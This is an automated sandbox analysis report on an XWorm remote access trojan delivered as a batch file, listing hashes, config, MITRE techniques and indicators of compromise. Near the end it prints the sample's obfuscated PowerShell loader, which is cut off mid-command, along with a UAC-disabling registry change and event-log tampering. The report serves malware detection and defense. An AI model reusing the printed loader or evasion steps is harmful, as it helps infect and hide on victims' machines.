xworm | d06e32f76a1ed42e68d795d825067b4bb7da2bb5daf0dffa340b506b81e4e250

Analysis

max time kernel
150s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
31/05/2026, 02:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
enjoy.bat
Size 74B
Sample260531-cqs4faax4q
SHA256 d06e32f76a1ed42e68d795d825067b4bb7da2bb5daf0dffa340b506b81e4e250
MD5 ad0f0724fd1fe0ff93cade439ff3c314
SHA1 33a4ee835d6b4ccbbc1b9a141ba8afc7532599ea
SHA512 832670fe9acc76d4e4a7d4da9f9edbdaedfe1460f3177b00d2f83b0d157c314bc3c18197b6aba96c0ed19906718bb92d09493cce68a038c87d78ac6554fea3ef
TLSH
T186A0247F40411C1C17C11F35C74FC404340400C757701001F031413504140F47004013
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery execution xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

Attributes

Install_directory
%ProgramData%
install_file
XClient.exe
localhost
127.0.0.1

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000500000002a216-43.dat	family_xworm
behavioral2/memory/408-50-0x0000000000580000-0x0000000000598000-memory.dmp	family_xworm

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 272 created 644	272	powershell.EXE	5
PID 4616 created 408	4616	svchost.exe	88

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	powershell.exe

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4264	powershell.exe
3	4264	powershell.exe
4	4264	powershell.exe
5	4264	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
4	4264	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
704	j3owB.exe
2144	RTzvrfsJ.exe
408	SVrB5SO0.exe
1168	cZp98.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4264	powershell.exe
272	powershell.EXE

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
4	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 272 set thread context of 3552	272	powershell.EXE	92

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	j3owB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cZp98.exe

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies data under HKEY_USERS 55 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 31 May 2026 02:18:52 GMT"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1780193932"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={F817DC00-D828-4EE5-B2F7-56ACC9D1779F}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4264	powershell.exe
4264	powershell.exe
704	j3owB.exe
704	j3owB.exe
704	j3owB.exe
704	j3owB.exe
2144	RTzvrfsJ.exe
2144	RTzvrfsJ.exe
2144	RTzvrfsJ.exe
2144	RTzvrfsJ.exe
272	powershell.EXE
272	powershell.EXE
272	powershell.EXE
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
4264	powershell.exe
3552	dllhost.exe
3552	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3220	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4264	powershell.exe
Token: SeDebugPrivilege	704	j3owB.exe
Token: SeDebugPrivilege	2144	RTzvrfsJ.exe
Token: SeDebugPrivilege	408	SVrB5SO0.exe
Token: SeDebugPrivilege	272	powershell.EXE
Token: SeDebugPrivilege	272	powershell.EXE
Token: SeDebugPrivilege	3552	dllhost.exe
Token: SeShutdownPrivilege	3220	Explorer.EXE
Token: SeCreatePagefilePrivilege	3220	Explorer.EXE
Token: SeShutdownPrivilege	3220	Explorer.EXE
Token: SeCreatePagefilePrivilege	3220	Explorer.EXE
Token: SeShutdownPrivilege	3220	Explorer.EXE
Token: SeCreatePagefilePrivilege	3220	Explorer.EXE
Token: SeShutdownPrivilege	3220	Explorer.EXE
Token: SeCreatePagefilePrivilege	3220	Explorer.EXE
Token: SeShutdownPrivilege	3220	Explorer.EXE
Token: SeCreatePagefilePrivilege	3220	Explorer.EXE
Token: SeShutdownPrivilege	3220	Explorer.EXE
Token: SeCreatePagefilePrivilege	3220	Explorer.EXE
Token: SeShutdownPrivilege	3220	Explorer.EXE
Token: SeCreatePagefilePrivilege	3220	Explorer.EXE
Token: SeShutdownPrivilege	3220	Explorer.EXE
Token: SeCreatePagefilePrivilege	3220	Explorer.EXE
Token: SeShutdownPrivilege	3220	Explorer.EXE
Token: SeCreatePagefilePrivilege	3220	Explorer.EXE
Token: SeAssignPrimaryTokenPrivilege	2664	svchost.exe
Token: SeIncreaseQuotaPrivilege	2664	svchost.exe
Token: SeSecurityPrivilege	2664	svchost.exe
Token: SeTakeOwnershipPrivilege	2664	svchost.exe
Token: SeLoadDriverPrivilege	2664	svchost.exe
Token: SeSystemtimePrivilege	2664	svchost.exe
Token: SeBackupPrivilege	2664	svchost.exe
Token: SeRestorePrivilege	2664	svchost.exe
Token: SeShutdownPrivilege	2664	svchost.exe
Token: SeSystemEnvironmentPrivilege	2664	svchost.exe
Token: SeUndockPrivilege	2664	svchost.exe
Token: SeManageVolumePrivilege	2664	svchost.exe
Token: SeAuditPrivilege	2628	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2664	svchost.exe
Token: SeIncreaseQuotaPrivilege	2664	svchost.exe
Token: SeSecurityPrivilege	2664	svchost.exe
Token: SeTakeOwnershipPrivilege	2664	svchost.exe
Token: SeLoadDriverPrivilege	2664	svchost.exe
Token: SeSystemtimePrivilege	2664	svchost.exe
Token: SeBackupPrivilege	2664	svchost.exe
Token: SeRestorePrivilege	2664	svchost.exe
Token: SeShutdownPrivilege	2664	svchost.exe
Token: SeSystemEnvironmentPrivilege	2664	svchost.exe
Token: SeUndockPrivilege	2664	svchost.exe
Token: SeManageVolumePrivilege	2664	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2664	svchost.exe
Token: SeIncreaseQuotaPrivilege	2664	svchost.exe
Token: SeSecurityPrivilege	2664	svchost.exe
Token: SeTakeOwnershipPrivilege	2664	svchost.exe
Token: SeLoadDriverPrivilege	2664	svchost.exe
Token: SeSystemtimePrivilege	2664	svchost.exe
Token: SeBackupPrivilege	2664	svchost.exe
Token: SeRestorePrivilege	2664	svchost.exe
Token: SeShutdownPrivilege	2664	svchost.exe
Token: SeSystemEnvironmentPrivilege	2664	svchost.exe
Token: SeUndockPrivilege	2664	svchost.exe
Token: SeManageVolumePrivilege	2664	svchost.exe
Token: SeDebugPrivilege	2616	wmiprvse.exe
Token: SeAuditPrivilege	2392	svchost.exe

Suspicious use of UnmapMainImage 2 IoCs

pid	Process
3752	RuntimeBroker.exe
3220	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1000 wrote to memory of 4264	1000	cmd.exe	83
PID 4264 wrote to memory of 704	4264	powershell.exe	86
PID 704 wrote to memory of 2144	704	j3owB.exe	87
PID 4264 wrote to memory of 408	4264	powershell.exe	88
PID 4264 wrote to memory of 1168	4264	powershell.exe	89
PID 272 wrote to memory of 3552	272	powershell.EXE	92
PID 272 wrote to memory of 3552	272	powershell.EXE	92
PID 272 wrote to memory of 3552	272	powershell.EXE	92
PID 272 wrote to memory of 3552	272	powershell.EXE	92
PID 272 wrote to memory of 3552	272	powershell.EXE	92
PID 3552 wrote to memory of 644	3552	dllhost.exe	5
PID 3552 wrote to memory of 716	3552	dllhost.exe	7
PID 3552 wrote to memory of 912	3552	dllhost.exe	11
PID 3552 wrote to memory of 416	3552	dllhost.exe	13
PID 3552 wrote to memory of 1008	3552	dllhost.exe	14
PID 3552 wrote to memory of 1084	3552	dllhost.exe	15
PID 3552 wrote to memory of 1096	3552	dllhost.exe	16
PID 3552 wrote to memory of 1120	3552	dllhost.exe	17
PID 3552 wrote to memory of 1172	3552	dllhost.exe	18
PID 3552 wrote to memory of 1240	3552	dllhost.exe	20
PID 3552 wrote to memory of 1284	3552	dllhost.exe	21
PID 3552 wrote to memory of 1324	3552	dllhost.exe	22
PID 3552 wrote to memory of 1340	3552	dllhost.exe	23
PID 3552 wrote to memory of 1444	3552	dllhost.exe	24
PID 3552 wrote to memory of 1580	3552	dllhost.exe	25
PID 3552 wrote to memory of 1616	3552	dllhost.exe	26
PID 3552 wrote to memory of 1672	3552	dllhost.exe	27
PID 3552 wrote to memory of 1696	3552	dllhost.exe	28
PID 3552 wrote to memory of 1716	3552	dllhost.exe	29
PID 3552 wrote to memory of 1856	3552	dllhost.exe	30
PID 3552 wrote to memory of 1888	3552	dllhost.exe	31
PID 3552 wrote to memory of 1940	3552	dllhost.exe	32
PID 3552 wrote to memory of 2016	3552	dllhost.exe	33
PID 3552 wrote to memory of 688	3552	dllhost.exe	34
PID 3552 wrote to memory of 2120	3552	dllhost.exe	35
PID 3552 wrote to memory of 2128	3552	dllhost.exe	36
PID 3552 wrote to memory of 2192	3552	dllhost.exe	37
PID 3552 wrote to memory of 2232	3552	dllhost.exe	38
PID 3552 wrote to memory of 2296	3552	dllhost.exe	39
PID 3552 wrote to memory of 2392	3552	dllhost.exe	41
PID 3552 wrote to memory of 2568	3552	dllhost.exe	42
PID 3552 wrote to memory of 2576	3552	dllhost.exe	43
PID 3552 wrote to memory of 2628	3552	dllhost.exe	44
PID 3552 wrote to memory of 2640	3552	dllhost.exe	45
PID 3552 wrote to memory of 2652	3552	dllhost.exe	46
PID 3552 wrote to memory of 2664	3552	dllhost.exe	47
PID 3552 wrote to memory of 2704	3552	dllhost.exe	48
PID 3552 wrote to memory of 2908	3552	dllhost.exe	49
PID 3552 wrote to memory of 2316	3552	dllhost.exe	51
PID 3552 wrote to memory of 1076	3552	dllhost.exe	52
PID 3552 wrote to memory of 2828	3552	dllhost.exe	53
PID 3552 wrote to memory of 3220	3552	dllhost.exe	54
PID 3552 wrote to memory of 3344	3552	dllhost.exe	55
PID 3552 wrote to memory of 3400	3552	dllhost.exe	56
PID 3552 wrote to memory of 3692	3552	dllhost.exe	59
PID 3552 wrote to memory of 3752	3552	dllhost.exe	60
PID 3552 wrote to memory of 3848	3552	dllhost.exe	61
PID 3552 wrote to memory of 3892	3552	dllhost.exe	62
PID 3552 wrote to memory of 4192	3552	dllhost.exe	63
PID 3552 wrote to memory of 4336	3552	dllhost.exe	64
PID 3552 wrote to memory of 2064	3552	dllhost.exe	68
PID 3552 wrote to memory of 2024	3552	dllhost.exe	69
PID 3552 wrote to memory of 2336	3552	dllhost.exe	71
PID 3552 wrote to memory of 1064	3552	dllhost.exe	72

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:644
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1008
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{64719dc1-e686-4ce2-a5ff-2b4f71d8919b}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3552

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:716

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-fda15a0f-df79-46a5-8a25-bdbe41a2424f -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-d3f74bbd-fe22-4dc7-935c-48ccfd7be50d -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-02f4f7b0-f8f6-41f2-ae73-59c3b243c16d -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-efa3d1eb-f82b-4d38-95a7-1b64e68bf577 -LifetimeId:37bd417f-4e81-49bf-b354-76b767cf9f36 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:416

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1084

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1240

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1284

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1340
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:lYEykCpqoQtm{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$QAqRXTJcmgCCYn,[Parameter(Position=1)][Type]$aduhIHGDXW)$tYMdnleezni=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+''+[Char](108)+''+[Char](101)+'ct'+[Char](101)+''+[Char](100)+'D'+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+'a'+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+''+[Char](101)+'m'+'o'+'r'+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+'y'+'De'+'l'+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+'e','C'+[Char](108)+''+'a'+'s'+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+'b'+[Char](108)+'i'+'c'+''+[Char](44)+'S'+'e'+'ale'+'d'+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+','+'A'+'u'+''+'t'+''+[Char](111)+''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$tYMdnleezni.DefineConstructor(''+'R'+''+'T'+'S'+[Char](112)+''+'e'+'c'+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+'am'+[Char](101)+''+[Char](44)+'Hide'+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$QAqRXTJcmgCCYn).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+'e'+''+','+''+[Char](77)+'a'+'n'+'a'+'g'+''+'e'+''+[Char](100)+'');$tYMdnleezni.DefineMethod(''+'I'+''+[Char](110)+'v'+[Char](111)+''+'k'+''+[Char](101)+'',''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+','+[Char](72)+'i'+[Char](100)+''+'e'+''+'B'+''+[Char](121)+'S'+[Char](105)+'g,'+[Char](78)+''+[Char](101)+''+[Char](119)+'S'+[Char](108)+''+'o'+'t'+','+''+[Char](86)+'i'+[Char](114)+'t'+[Char](117)+'al',$aduhIHGDXW,$QAqRXTJcmgCCYn).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+'M'+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $tYMdnleezni.CreateType();}$QlomRvqsPtfLV=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+'t'+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+'s'+'o'+[Char](102)+''+'t'+''+'.'+''+[Char](87)+''+'i'+''+[Char](110)+''+'3'+'2'+[Char](46)+''+'U'+''+[Char](110)+''+[Char](115)+'a'+'f'+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'v'+[Char](101)+''+[Char](77)+''+[Char](101)+''+'t'+''+[Char](104)+''+'o'+''+[Char](100)+''+'s'+'');$atUeIlsFTkDSab=$QlomRvqsPtfLV.GetMethod(''+[Char](71)+'e'+'t'+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+'d'+'r'+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+'at'+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$sHbzZVgXhmOXskKBNgH=lYEykCpqoQtm @([String])([IntPtr]);$IGWwcJwAtsGsVZJFFMolum=lYEykCpqoQtm 